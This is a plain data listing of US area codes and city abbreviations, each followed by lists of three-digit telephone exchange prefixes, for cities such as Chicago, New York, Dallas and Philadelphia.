1 708 ILCHI 200 201 203 205 206 208 209 210 213 215 216 218 223 228 231 1 708 ILCHI 232 234 240 244 246 249 250 251 253 255 256 257 258 259 260 1 708 ILCHI 272 279 289 290 291 293 295 296 297 298 299 301 303 304 307 1 708 ILCHI 310 314 315 316 317 318 319 323 325 328 330 331 333 335 336 1 708 ILCHI 339 343 344 345 349 350 351 352 354 355 357 358 359 360 361 1 708 ILCHI 362 364 366 367 369 371 377 381 382 383 385 386 387 388 389 1 708 ILCHI 390 391 392 393 394 396 397 398 401 402 403 405 406 409 412 1 708 ILCHI 416 418 420 422 423 424 425 426 428 429 430 432 433 437 438 1 708 ILCHI 439 441 442 446 447 448 449 450 451 452 453 455 456 457 458 1 708 ILCHI 459 460 462 469 470 473 474 475 479 480 481 482 484 485 490 1 708 ILCHI 491 492 495 496 498 499 501 502 503 504 505 506 510 512 513 1 708 ILCHI 515 516 517 518 519 520 524 526 529 530 531 532 534 535 537 1 708 ILCHI 540 541 543 544 547 550 551 560 562 563 564 566 570 571 572 1 708 ILCHI 573 574 575 576 577 578 579 584 590 593 594 595 596 597 598 1 708 ILCHI 599 603 605 607 608 612 613 614 615 617 618 619 620 623 627 1 708 ILCHI 628 629 632 634 635 636 639 640 647 652 653 654 655 656 657 1 708 ILCHI 658 659 662 665 668 671 672 673 674 675 676 677 678 679 680 1 708 ILCHI 681 682 687 688 689 690 691 692 695 696 697 698 699 705 706 1 708 ILCHI 709 713 714 717 719 720 724 729 730 739 741 742 746 747 748 1 708 ILCHI 749 754 755 756 757 758 759 766 771 773 780 788 789 790 795 1 708 ILCHI 798 799 801 803 806 810 816 817 818 820 823 824 825 827 830 1 708 ILCHI 831 832 833 834 835 837 839 840 841 843 844 848 849 850 851 1 708 ILCHI 852 857 858 859 860 862 863 864 865 866 867 868 869 870 872 1 708 ILCHI 877 879 882 884 885 887 888 891 892 893 894 895 896 897 898 1 708 ILCHI 904 905 910 913 914 916 919 920 926 931 932 934 937 940 941 1 708 ILCHI 945 946 948 949 952 953 954 956 957 960 961 963 964 965 966 1 708 ILCHI 967 968 969 971 972 974 979 980 981 982 983 985 986 990 991 1 708 ILCHI 998

1 815 ILCHI 254 372 423 424 436 439 469 474 478 485 722 723 725 726 727 1 815 ILCHI 729 740 741 744 773 774 834 838 886

317 ININD 200 222 226 228 230 231 232 233 235 236 237 238 239 240 241 317 ININD 242 243 244 247 248 251 252 253 254 255 256 257 259 261 262 317 ININD 263 264 265 266 267 269 271 272 273 274 276 277 278 283 290 317 ININD 291 293 297 298 299 321 322 326 328 335 351 352 353 355 356 317 ININD 357 359 422 424 425 431 432 439 441 442 443 445 461 462 464 317 ININD 465 466 467 469 470 471 485 486 488 535 539 541 542 543 545 317 ININD 546 547 549 556 571 573 574 575 576 577 578 579 580 630 631 317 ININD 632 633 634 635 636 637 638 639 681 684 685 686 687 691 694 317 ININD 736 738 745 769 773 776 780 781 782 783 784 786 787 788 823 317 ININD 831 835 838 839 841 842 843 844 845 846 848 849 852 856 861 317 ININD 862 867 870 871 872 873 875 876 877 878 879 881 882 885 887 317 ININD 888 889 891 892 894 895 896 897 898 899 920 921 923 924 925 317 ININD 926 927 928 929 976 994 996

504 LANOR 241 242 243 244 245 246 253 254 255 257 260 271 277 278 279 504 LANOR 282 283 286 288 340 341 347 348 349 361 362 363 364 366 367 504 LANOR 368 391 392 393 394 398 431 436 441 443 450 451 454 455 456 504 LANOR 461 462 464 465 466 467 468 469 482 483 484 486 488 521 522 504 LANOR 523 524 525 527 528 529 552 561 565 566 568 569 581 582 583 504 LANOR 584 585 586 587 588 589 592 593 595 596 597 656 662 671 676 504 LANOR 682 684 689 731 733 734 736 737 738 739 762 821 822 824 826 504 LANOR 827 830 831 832 833 834 835 836 837 838 861 862 865 866 883 504 LANOR 884 885 887 888 889 891 895 896 897 899 941 942 943 944 945 504 LANOR 947 948 949 976

617 MABOS 200 223 224 225 226 227 230 231 232 233 234 235 236 237 239 617 MABOS 241 242 243 244 245 246 247 248 252 253 254 257 258 261 262 617 MABOS 263 264 265 266 267 268 269 271 274 275 276 277 278 279 280 617 MABOS 282 284 285 286 287 288 289 290 292 296 298 320 321 322 323 617 MABOS 324 325 326 327 328 329 330 331 332 333 335 337 338 340 343 617 MABOS 345 348 349 350 353 354 357 361 362 364 367 375 377 380 381 617 MABOS 382 387 389 391 393 394 395 396 397 421 423 424 426 427 428 617 MABOS 429 431 432 434 436 437 438 439 442 444 445 446 449 450 451 617 MABOS 455 456 457 461 463 464 466 469 471 472 473 479 482 483 484 617 MABOS 486 487 488 489 491 492 493 494 495 496 497 498 499 522 523 617 MABOS 524 527 532 534 536 538 539 541 542 546 547 552 553 556 558 617 MABOS 560 561 562 565 566 567 568 569 570 571 572 573 574 576 577 617 MABOS 578 579 581 586 589 592 593 594 595 596 598 599 621 622 623 617 MABOS 625 628 629 630 633 635 637 638 641 642 643 646 647 648 654 617 MABOS 661 662 665 666 669 674 680 684 693 694 695 696 698 720 721 617 MABOS 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 617 MABOS 737 738 739 740 742 743 748 749 756 770 773 774 776 781 782 617 MABOS 783 786 787 789 825 841 842 843 845 846 847 848 849 855 859 617 MABOS 860 861 862 863 864 868 873 876 884 887 889 890 891 893 894 617 MABOS 895 899 923 924 925 926 929 930 931 932 933 935 936 937 938 617 MABOS 942 944 945 951 954 955 956 958 962 964 965 966 969 972 973 617 MABOS 974 979 981 983 984 985

313 MIAAR 420 426 428 429 434 437 439 449 451 453 454 455 459 475 481 313 MIAAR 482 483 484 485 486 487 495 572 662 663 665 668 677 747 761 313 MIAAR 763 764 769 930 936 971 973 981 994 995 996 998

313 MIDET 222 223 224 225 226 237 240 245 252 255 256 259 267 270 271 313 MIDET 272 273 274 275 276 277 278 291 292 295 297 298 320 321 322 313 MIDET 323 328 330 331 336 337 341 342 343 345 361 365 366 368 369 313 MIDET 371 372 381 382 383 386 388 389 390 393 396 430 431 436 438 313 MIDET 440 441 444 446 448 460 491 493 494 496 499 520 521 526 527 313 MIDET 531 532 533 534 535 536 537 538 554 556 560 561 562 563 564 313 MIDET 565 567 568 571 577 579 581 582 584 592 593 594 596 599 630 313 MIDET 690 745 770 780 821 822 823 824 829 831 832 833 834 835 836 313 MIDET 837 838 839 841 842 843 845 846 849 861 862 863 864 865 866 313 MIDET 867 868 869 871 872 873 874 875 876 881 882 883 884 885 886 313 MIDET 891 892 893 894 895 896 897 898 899 921 922 923 924 925 926 313 MIDET 927 928 929 931 933 934 935 937 940 943 945 956 961 962 963 313 MIDET 964 965 966 972 974 976 980 983 993

612 MNMIN 220 221 222 223 224 227 228 229 290 291 292 293 296 297 298 612 MNMIN 323 330 331 332 333 334 335 336 337 338 339 340 341 342 343 612 MNMIN 344 347 348 349 368 370 371 372 373 374 375 376 377 378 379 612 MNMIN 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 612 MNMIN 435 436 437 438 439 440 441 443 444 445 446 447 448 449 450 612 MNMIN 451 452 454 455 456 457 458 459 460 461 462 463 464 469 470 612 MNMIN 471 472 473 474 475 476 477 478 479 481 482 483 484 487 488 612 MNMIN 489 490 491 492 493 494 496 497 498 499 520 521 522 526 527 612 MNMIN 529 533 534 535 536 537 538 540 541 542 544 545 546 552 553 612 MNMIN 557 559 560 561 566 569 571 572 574 588 591 593 620 621 622 612 MNMIN 623 624 625 626 627 631 633 635 636 638 639 640 641 642 643 612 MNMIN 644 645 646 647 648 649 653 663 667 673 681 683 687 688 690 612 MNMIN 696 698 699 720 721 722 723 724 725 726 727 728 729 730 731 612 MNMIN 733 735 736 737 738 739 741 750 753 754 755 757 770 771 772 612 MNMIN 774 776 777 778 779 780 781 782 784 785 786 788 789 822 823 612 MNMIN 824 825 827 828 829 830 831 832 835 851 853 854 858 861 863 612 MNMIN 865 866 867 868 869 870 871 872 874 879 881 884 885 887 888 612 MNMIN 890 891 892 893 894 895 896 897 920 921 922 924 925 926 927 612 MNMIN 929 931 932 933 934 935 936 937 938 939 941 942 944 949 976 612 MNMIN 977 989

816 MOKCI 221 223 224 225 228 229 231 234 241 242 243 245 246 247 251 816 MOKCI 252 254 257 274 275 276 283 292 322 331 333 346 348 353 356 816 MOKCI 358 361 363 373 374 391 395 421 426 435 436 444 452 453 454 816 MOKCI 455 459 461 464 466 468 471 472 474 478 483 497 521 523 524 816 MOKCI 525 531 532 537 556 561 572 576 578 587 589 591 654 698 734 816 MOKCI 737 741 743 751 753 756 757 759 761 763 765 767 781 792 795 816 MOKCI 796 821 822 833 836 842 844 854 861 871 881 891 921 922 923 816 MOKCI 924 926 931 932 941 942 943 966 968 995 997

1 913 MOKCI 236 262 268 281 287 299 321 334 339 341 342 345 362 371 375 1 913 MOKCI 381 383 384 422 432 441 451 469 491 492 541 551 573 574 576 1 913 MOKCI 588 596 599 621 631 642 648 649 661 676 677 681 721 722 724 1 913 MOKCI 764 780 782 787 788 791 829 831 888 894 897 962 967 314 MOSLO 225 227 231 232 233 234 235 241 247 253 259 261 263 268 275 314 MOSLO 277 289 291 296 298 321 331 342 343 344 349 351 352 353 355 314 MOSLO 361 362 367 371 381 382 383 385 388 389 391 394 421 423 424 314 MOSLO 425 426 427 428 429 432 434 436 441 444 454 458 464 466 469 314 MOSLO 476 481 487 489 521 522 523 524 525 529 531 532 533 534 535 314 MOSLO 538 539 541 542 544 551 553 554 567 569 571 572 576 577 578 314 MOSLO 595 621 622 623 631 638 644 645 647 652 653 658 664 671 677 314 MOSLO 679 694 721 725 726 727 731 739 741 746 747 752 755 758 768 314 MOSLO 771 772 773 776 777 781 791 795 821 822 823 826 829 831 832 314 MOSLO 836 837 838 839 841 842 843 845 846 848 849 851 854 855 862 314 MOSLO 863 865 867 868 869 871 872 878 879 889 891 892 894 895 899 314 MOSLO 921 928 938 939 941 942 946 947 949 957 961 962 963 965 966 314 MOSLO 968 969 973 982 984 991 992 993 994 997

1 618 MOSLO 271 274 337 451 452 482 583 797

919 NCRTP 248 254 266 269 280 286 361 362 365 382 383 387 460 467 469 919 NCRTP 470 471 477 479 481 489 490 493 528 530 541 543 544 546 549 919 NCRTP 560 575 596 598 620 660 662 664 677 681 682 683 684 687 688 919 NCRTP 733 737 740 755 772 779 781 782 783 787 790 821 828 829 831 919 NCRTP 832 833 834 836 839 840 846 847 848 850 851 856 859 860 870 919 NCRTP 872 876 878 880 881 890 899 929 932 933 941 942 956 962 966 919 NCRTP 967 968 976 990 991 992

908 NJNBR 202 205 214 218 220 225 231 238 246 247 248 249 251 254 257 908 NJNBR 271 274 283 287 297 302 306 321 324 329 356 360 390 406 407 908 NJNBR 412 417 418 422 424 442 457 463 469 494 510 519 524 525 526 908 NJNBR 545 548 549 560 561 562 563 572 602 603 607 613 632 634 636 908 NJNBR 658 668 679 685 699 704 707 715 721 722 723 725 727 738 745 908 NJNBR 750 752 753 754 755 756 757 769 805 819 821 826 828 844 846 908 NJNBR 855 873 878 880 883 885 906 932 937 954 968 980 981 985 201 NJNEW 200 207 216 217 224 226 227 228 232 233 235 239 241 242 245 201 NJNEW 256 259 266 268 272 273 276 277 278 279 284 288 289 298 301 201 NJNEW 304 305 309 312 313 314 315 317 318 319 322 325 330 332 333 201 NJNEW 338 339 340 342 343 344 345 346 348 351 352 353 354 355 365 201 NJNEW 368 371 372 373 374 375 376 377 378 379 381 382 386 388 392 201 NJNEW 393 394 396 399 401 403 408 413 414 416 419 420 421 423 427 201 NJNEW 428 429 430 432 433 434 435 436 437 438 440 441 450 451 456 201 NJNEW 460 461 464 465 467 468 470 471 472 473 474 478 480 481 482 201 NJNEW 483 484 485 486 487 488 489 499 503 504 507 509 514 515 516 201 NJNEW 522 523 527 533 535 541 546 547 558 564 565 567 568 569 570 201 NJNEW 574 575 578 581 582 585 587 589 592 593 594 595 596 601 602 201 NJNEW 608 614 617 621 622 623 624 626 628 633 634 635 636 641 642 201 NJNEW 643 645 646 648 649 653 654 656 659 661 662 665 667 669 672 201 NJNEW 673 674 675 676 677 678 680 684 686 687 688 690 692 694 695 201 NJNEW 696 701 703 705 708 709 712 714 716 731 733 736 737 740 742 201 NJNEW 743 744 746 748 750 751 759 760 761 762 763 765 771 772 773 201 NJNEW 777 778 779 783 785 789 790 791 792 794 795 796 797 798 801 201 NJNEW 802 803 804 807 808 812 814 815 816 817 820 822 823 824 833 201 NJNEW 836 837 843 845 851 854 855 857 858 860 861 862 863 864 865 201 NJNEW 866 867 868 869 871 877 881 882 884 886 887 889 890 893 894 201 NJNEW 896 902 904 907 909 912 913 915 916 923 925 926 931 933 935 201 NJNEW 939 941 942 943 944 945 947 952 955 956 960 961 963 964 965 201 NJNEW 966 969 977 991 992 994 997 998

1 908 NJNEW 200 232 233 241 245 272 273 276 277 289 298 317 322 351 352 1 908 NJNEW 353 354 355 381 382 388 396 419 464 474 486 499 522 527 541 1 908 NJNEW 558 574 582 594 602 634 636 654 665 686 687 688 709 737 750 1 908 NJNEW 760 771 789 815 820 851 855 862 889 913 925 931 964 965 969 516 NYHEM 220 221 222 223 227 228 229 235 236 237 238 239 248 249 252 516 NYHEM 255 264 270 285 292 293 294 295 296 299 326 328 333 334 335 516 NYHEM 336 338 346 349 352 354 355 357 358 364 365 367 371 374 378 516 NYHEM 379 383 384 391 394 420 431 432 433 437 454 463 466 481 482 516 NYHEM 483 484 485 486 487 488 489 496 520 521 522 526 531 535 536 516 NYHEM 538 541 542 546 559 560 561 562 564 565 566 568 569 573 574 516 NYHEM 575 576 577 579 593 596 598 599 621 623 624 625 626 627 628 516 NYHEM 629 644 647 656 658 659 663 671 674 676 677 678 679 681 682 516 NYHEM 683 684 686 691 692 694 731 733 735 739 741 742 745 746 747 516 NYHEM 752 753 755 756 759 763 764 766 767 773 775 777 781 783 785 516 NYHEM 789 791 794 795 796 797 798 799 822 823 824 825 826 829 832 516 NYHEM 833 842 844 845 847 867 868 869 872 873 876 877 883 887 889 516 NYHEM 890 897 921 922 925 926 931 932 933 934 935 937 938 939 942 516 NYHEM 943 944 949 997

212 NYNYO 200 205 206 207 208 210 213 214 216 218 219 220 221 222 223 212 NYNYO 225 226 227 228 230 231 232 233 234 235 236 237 238 239 240 212 NYNYO 241 242 243 244 245 246 247 248 249 250 251 252 254 255 260 212 NYNYO 262 264 265 266 267 268 269 272 276 277 279 280 281 283 285 212 NYNYO 286 288 289 290 291 292 293 294 295 296 297 298 299 301 302 212 NYNYO 303 304 305 306 307 308 309 310 312 313 314 315 316 319 320 212 NYNYO 321 322 323 324 325 326 328 329 330 333 334 335 337 339 340 212 NYNYO 341 342 344 346 348 349 350 351 352 353 354 355 356 357 358 212 NYNYO 359 360 361 362 363 364 365 367 368 369 370 371 373 374 378 212 NYNYO 379 380 382 385 390 391 392 393 395 396 397 398 399 401 402 212 NYNYO 404 406 407 408 409 410 412 413 414 415 416 418 419 420 421 212 NYNYO 422 425 427 428 430 431 432 433 436 437 439 440 446 447 448 212 NYNYO 449 451 452 453 455 456 457 458 459 460 461 463 464 465 466 212 NYNYO 467 468 469 472 473 474 475 476 477 480 481 482 483 484 485 212 NYNYO 486 487 488 489 490 491 492 493 495 496 502 503 504 505 506 212 NYNYO 508 509 510 512 513 514 515 517 518 519 520 521 522 523 524 212 NYNYO 525 527 528 529 530 531 532 533 534 535 536 537 538 541 542 212 NYNYO 543 545 546 547 548 549 551 552 553 554 556 557 558 559 560 212 NYNYO 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 212 NYNYO 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 212 NYNYO 593 594 595 597 598 599 601 602 603 605 606 607 608 609 610 212 NYNYO 612 613 614 616 617 618 619 620 621 623 624 625 627 628 629 212 NYNYO 632 633 635 637 639 640 641 642 643 644 645 648 649 650 652 212 NYNYO 653 654 655 656 657 658 659 661 662 663 664 665 666 667 668 212 NYNYO 669 671 673 674 675 676 677 678 679 681 682 683 684 685 686 212 NYNYO 687 688 689 690 691 692 693 694 695 696 697 698 701 702 703 212 NYNYO 704 705 707 708 709 711 713 714 715 716 717 719 720 721 722 212 NYNYO 724 725 727 730 731 732 733 734 735 736 737 740 741 742 744 212 NYNYO 745 746 747 749 750 751 752 753 754 755 757 758 759 760 761 212 NYNYO 764 765 766 767 768 769 770 772 775 776 777 779 781 785 786 212 NYNYO 787 790 791 792 793 794 795 796 797 798 799 804 806 807 808 212 NYNYO 809 812 813 815 818 819 820 822 823 824 825 826 827 828 829 212 NYNYO 830 831 832 836 837 838 839 840 841 842 844 847 848 850 852 212 NYNYO 853 854 855 856 858 860 861 862 863 864 865 866 867 868 869 212 NYNYO 870 871 872 873 874 876 877 878 879 880 881 882 883 884 885 212 NYNYO 886 887 888 889 891 892 893 898 899 901 902 903 904 905 906 212 NYNYO 907 908 909 912 916 918 920 921 922 923 924 925 926 927 928 212 NYNYO 929 930 931 932 933 935 936 938 940 941 942 943 944 945 947 212 NYNYO 949 951 952 953 954 955 956 957 960 962 963 964 966 967 968 212 NYNYO 969 971 972 973 974 975 977 978 979 980 982 983 984 985 986 212 NYNYO 988 989 991 992 993 994 995 996 997 998 999

1 516 NYNYO 221 222 223 227 228 229 235 236 237 238 239 248 249 252 255 1 516 NYNYO 264 270 285 292 293 294 295 296 299 326 328 333 334 336 338 1 516 NYNYO 346 349 352 354 357 358 364 365 367 371 374 378 379 391 420 1 516 NYNYO 431 432 433 437 454 463 466 481 482 483 484 485 486 487 488 1 516 NYNYO 489 496 520 521 526 531 535 536 538 541 542 546 559 560 561 1 516 NYNYO 562 564 565 566 568 569 574 575 576 577 579 593 596 598 599 1 516 NYNYO 621 623 624 625 626 627 628 629 644 647 656 658 663 671 674 1 516 NYNYO 676 677 678 679 681 682 683 684 686 691 692 694 731 733 735 1 516 NYNYO 739 741 742 745 746 747 752 753 755 756 759 763 764 766 767 1 516 NYNYO 773 775 781 783 785 789 791 794 795 796 797 798 799 822 823 1 516 NYNYO 824 825 826 829 832 842 844 845 847 867 868 869 872 873 876 1 516 NYNYO 877 883 887 889 890 897 921 922 926 931 932 933 934 935 937 1 516 NYNYO 938 939 942 943 944 949 997

1 718 NYNYO 200 204 209 217 221 224 225 229 230 232 233 234 235 236 237 1 718 NYNYO 238 240 241 244 247 248 251 252 253 256 257 258 259 260 261 1 718 NYNYO 262 263 265 266 267 268 270 271 272 273 274 275 276 277 278 1 718 NYNYO 279 282 284 287 291 296 297 317 318 321 322 326 327 330 331 1 718 NYNYO 332 335 336 337 338 339 341 342 343 345 346 347 349 351 352 1 718 NYNYO 353 354 356 357 358 359 360 361 363 366 370 372 373 375 376 1 718 NYNYO 377 380 381 383 384 385 386 387 388 389 390 392 395 397 398 1 718 NYNYO 403 417 421 423 424 426 428 429 434 435 436 438 439 441 442 1 718 NYNYO 443 444 445 446 447 448 449 451 452 453 454 455 456 457 458 1 718 NYNYO 459 461 462 463 464 465 467 468 469 470 471 474 476 478 479 1 718 NYNYO 480 481 482 485 486 489 492 493 494 495 497 498 499 507 520 1 718 NYNYO 522 523 525 526 527 528 529 531 533 539 541 544 545 552 557 1 718 NYNYO 565 571 574 575 591 592 596 599 604 615 622 624 625 626 627 1 718 NYNYO 628 629 630 631 632 633 634 636 638 639 641 642 643 644 645 1 718 NYNYO 646 647 648 649 651 656 657 658 659 667 670 672 680 692 693 1 718 NYNYO 694 698 699 706 712 720 721 723 726 727 728 729 735 738 739 1 718 NYNYO 740 743 745 746 748 754 755 756 760 761 762 763 764 767 768 1 718 NYNYO 769 771 773 774 776 778 779 780 782 783 784 786 788 789 793 1 718 NYNYO 797 802 803 805 816 821 826 827 830 831 832 833 834 835 836 1 718 NYNYO 837 843 845 846 847 848 849 851 852 853 854 855 856 857 858 1 718 NYNYO 859 868 871 875 876 883 886 891 894 895 896 897 898 899 917 1 718 NYNYO 919 921 922 927 932 934 935 937 938 939 941 942 945 946 948 1 718 NYNYO 949 951 953 955 956 961 962 963 965 966 967 968 969 972 977 1 718 NYNYO 978 979 981 983 984 987 990 995 996 997 998 999

1 914 NYNYO 235 237 251 253 270 282 285 286 287 288 289 321 328 332 333 1 914 NYNYO 335 337 345 347 375 376 378 381 390 391 395 397 422 423 428 1 914 NYNYO 472 476 478 523 524 576 591 592 631 632 633 636 641 642 644 1 914 NYNYO 654 662 664 665 667 668 674 681 682 683 684 686 693 694 696 1 914 NYNYO 697 698 699 721 723 725 738 761 768 771 776 779 784 789 792 1 914 NYNYO 793 833 834 835 899 921 925 933 934 935 937 939 946 948 949 1 914 NYNYO 961 963 964 965 967 968 969 993 997

216 OHCLE 221 226 228 229 231 232 234 235 236 237 238 241 243 247 248 216 OHCLE 249 251 252 261 265 266 267 268 271 278 281 283 289 291 292 216 OHCLE 295 299 321 328 331 333 338 341 344 348 349 351 356 361 362 216 OHCLE 363 368 371 381 382 383 389 391 397 398 421 423 425 429 431 216 OHCLE 432 433 439 441 442 443 444 445 446 447 449 451 459 461 463 216 OHCLE 464 467 468 469 471 473 475 476 479 481 486 487 491 521 522 216 OHCLE 523 524 526 529 531 541 543 561 562 566 572 574 575 578 579 216 OHCLE 581 582 585 586 587 589 591 621 622 623 631 634 641 642 646 216 OHCLE 651 656 659 661 662 663 664 671 676 681 687 689 691 692 694 216 OHCLE 696 721 728 729 731 732 734 736 737 741 749 751 752 754 761 216 OHCLE 765 766 771 777 779 781 789 791 795 822 826 831 835 838 842 216 OHCLE 843 844 845 851 861 871 881 883 884 885 886 888 891 892 899 216 OHCLE 921 931 932 941 942 943 944 946 951 953 961 975 987 991 995 614 OHCOL 221 222 223 224 225 227 228 229 231 235 236 237 238 239 243 614 OHCOL 248 249 251 252 253 258 261 262 263 265 267 268 271 272 274 614 OHCOL 275 276 278 279 281 288 291 292 293 294 296 297 299 325 329 614 OHCOL 337 338 341 351 361 365 371 395 421 424 431 433 436 438 442 614 OHCOL 443 444 445 447 451 457 459 460 461 462 463 464 466 469 471 614 OHCOL 475 476 478 479 481 486 487 488 491 492 497 523 538 548 575 614 OHCOL 621 644 645 752 755 756 759 761 764 766 771 777 785 786 791 614 OHCOL 792 793 794 821 833 836 837 841 842 846 847 848 851 852 855 614 OHCOL 860 861 863 864 866 868 870 871 875 876 877 878 879 881 882 614 OHCOL 885 888 889 890 891 895 898 899 927 964 965

503 ORPOR 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 503 ORPOR 235 236 237 238 239 240 241 242 243 244 245 246 248 249 250 503 ORPOR 251 252 253 254 255 256 257 273 274 275 279 280 281 282 283 503 ORPOR 284 285 286 287 288 289 291 292 293 294 295 297 299 323 324 503 ORPOR 326 335 357 359 452 464 526 591 620 621 624 625 626 627 628 503 ORPOR 629 630 631 632 635 636 637 638 639 640 641 642 643 644 645 503 ORPOR 646 647 648 649 650 652 653 654 655 656 657 658 659 661 663 503 ORPOR 665 666 667 668 669 677 681 682 684 685 690 691 692 693 694 503 ORPOR 695 696 697 698 721 731 733 760 761 771 774 775 777 778 781 503 ORPOR 789 790 796 936 976 985

215 PAPHI 221 222 223 224 225 226 227 228 229 231 232 233 235 236 237 215 PAPHI 238 241 242 243 244 245 246 247 248 254 259 260 263 265 270 215 PAPHI 271 272 275 276 277 278 279 280 281 283 284 288 289 291 293 215 PAPHI 299 324 328 329 330 331 332 333 334 335 336 337 338 339 341 215 PAPHI 342 349 350 351 352 353 354 356 359 365 379 382 386 387 389 215 PAPHI 422 423 424 425 426 427 438 440 446 447 448 449 450 452 455 215 PAPHI 456 457 460 461 462 463 464 465 466 467 468 470 471 472 473 215 PAPHI 474 476 477 480 482 483 485 487 490 492 494 496 497 499 520 215 PAPHI 521 522 523 525 526 527 528 531 532 533 534 535 537 539 540 215 PAPHI 542 543 544 545 546 548 549 551 552 553 557 560 561 563 564 215 PAPHI 565 566 567 568 569 570 572 573 574 576 577 578 580 581 583 215 PAPHI 585 586 587 590 591 592 595 596 597 620 621 622 623 624 625 215 PAPHI 626 627 628 629 630 631 632 634 635 636 637 638 639 641 642 215 PAPHI 643 645 646 649 653 657 659 660 662 663 664 665 667 668 671 215 PAPHI 673 676 677 680 684 685 686 687 688 690 697 698 722 724 725 215 PAPHI 726 727 728 729 732 734 735 737 739 742 743 744 745 747 748 215 PAPHI 751 753 755 761 763 765 768 769 782 784 786 787 789 790 823 215 PAPHI 824 825 828 829 830 831 833 834 835 836 839 840 841 842 843 215 PAPHI 844 846 848 849 851 853 854 864 870 871 872 874 875 876 877 215 PAPHI 878 879 880 881 884 885 886 887 891 892 893 894 895 896 897 215 PAPHI 898 899 920 922 923 924 925 927 928 930 931 934 936 937 938 215 PAPHI 940 941 947 951 952 955 960 961 962 963 964 969 971 972 973 215 PAPHI 975 977 978 980 981 985 986 988 990 991 998

412 PAPIT 200 221 227 231 232 234 236 237 241 242 243 244 247 255 256 412 PAPIT 257 261 262 263 264 268 269 271 273 276 279 281 288 298 321 412 PAPIT 322 323 328 331 333 338 341 343 344 351 355 359 361 362 363 412 PAPIT 364 365 366 367 369 371 372 373 374 381 389 391 392 393 394 412 PAPIT 421 422 427 429 431 433 434 441 442 456 461 462 464 466 469 412 PAPIT 471 472 476 481 486 487 488 491 492 497 521 531 551 553 561 412 PAPIT 562 563 565 566 571 572 578 594 621 622 623 624 633 636 642 412 PAPIT 644 645 647 648 653 655 661 664 665 672 673 674 675 678 681 412 PAPIT 682 683 687 692 699 731 734 741 747 749 751 754 761 762 765 412 PAPIT 766 767 771 777 778 781 782 784 787 788 793 795 798 821 822 412 PAPIT 823 824 825 826 828 829 831 833 835 840 854 855 856 858 859 412 PAPIT 881 882 884 885 889 892 921 922 923 928 931 936 937 939 961 412 PAPIT 963 967

1 601 TNMEM 342 349 393 781 851

901 TNMEM 227 272 274 276 278 320 323 324 325 327 332 344 345 346 348 901 TNMEM 353 357 358 360 362 363 365 366 367 368 369 371 372 373 375 901 TNMEM 377 382 385 386 387 388 395 396 397 398 452 454 458 465 475 901 TNMEM 476 483 484 485 486 521 522 523 524 525 526 527 528 529 531 901 TNMEM 532 533 535 543 544 572 575 576 577 578 579 597 654 678 681 901 TNMEM 682 683 684 685 721 722 725 726 728 729 743 744 745 747 748 901 TNMEM 752 753 754 755 756 757 758 761 762 763 765 766 767 774 775 901 TNMEM 785 789 794 795 797 829 853 854 867 872 873 876 877 922 942 901 TNMEM 946 947 948 976

512 TXAUS 218 219 243 244 247 250 251 255 258 259 261 263 264 266 267 512 TXAUS 272 276 280 282 288 292 320 322 323 326 327 328 329 331 335 512 TXAUS 338 339 343 345 346 356 369 370 371 385 386 388 389 390 397 512 TXAUS 403 416 422 440 441 442 443 444 445 447 448 450 451 452 453 512 TXAUS 454 458 459 461 462 463 465 467 469 471 472 473 474 475 476 512 TXAUS 477 478 479 480 482 483 495 499 750 794 823 832 834 835 836 512 TXAUS 837 838 860 867 870 873 891 892 926 928 929 940 941 973 984 512 TXAUS 990

214 TXDAL 202 203 204 205 212 216 217 218 219 220 221 222 223 224 225 214 TXDAL 226 227 228 229 230 231 233 234 235 238 239 240 241 242 243 214 TXDAL 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 214 TXDAL 259 260 262 263 264 266 269 270 271 272 275 276 278 279 281 214 TXDAL 284 285 286 287 288 289 290 291 293 296 298 299 301 302 303 214 TXDAL 305 306 307 308 309 313 314 315 316 317 318 319 320 321 323 214 TXDAL 324 327 328 330 331 332 333 336 337 339 340 341 343 348 349 214 TXDAL 350 351 352 353 357 358 360 361 363 368 369 371 372 373 374 214 TXDAL 375 376 380 381 384 385 386 387 388 391 392 393 394 397 398 214 TXDAL 399 401 402 403 404 406 407 412 413 414 416 417 418 420 421 214 TXDAL 422 423 424 426 428 434 436 437 438 441 442 443 444 445 446 214 TXDAL 450 453 456 458 462 464 466 470 471 475 480 484 487 490 492 214 TXDAL 494 495 497 502 503 504 506 508 513 514 516 517 518 519 520 214 TXDAL 521 522 526 528 530 533 539 541 550 553 554 556 557 558 559 214 TXDAL 565 570 573 574 575 578 579 580 590 591 594 596 601 602 603 214 TXDAL 604 605 606 607 608 609 612 613 615 616 618 620 621 630 631 214 TXDAL 634 637 638 641 642 644 647 650 651 653 655 658 659 660 661 214 TXDAL 669 670 676 680 681 686 688 689 690 691 692 696 698 699 701 214 TXDAL 702 704 705 706 707 708 709 712 713 714 715 716 717 718 720 214 TXDAL 721 724 727 733 739 740 741 742 744 745 746 747 748 749 750 214 TXDAL 751 754 760 761 767 770 771 780 781 783 787 788 790 791 799 214 TXDAL 804 808 812 815 818 819 820 821 823 824 826 827 828 830 840 214 TXDAL 841 844 850 851 855 864 867 869 871 879 880 881 888 890 891 214 TXDAL 902 904 905 907 909 913 917 918 919 920 922 929 931 933 934 214 TXDAL 939 941 942 943 944 946 948 949 951 952 953 954 956 957 960 214 TXDAL 964 969 977 978 979 980 985 986 987 988 991 992 993 995 996 214 TXDAL 997 999

1 817 TXDAL 261 265 267 268 273 329 355 356 366 379 421 424 425 429 430 1 817 TXDAL 432 449 450 461 467 469 475 477 481 498 530 540 543 572 577 1 817 TXDAL 588 589 640 654 667 671 679 695 784 792 832 856 884 890 922 1 817 TXDAL 925 929 930 961 962 963 967

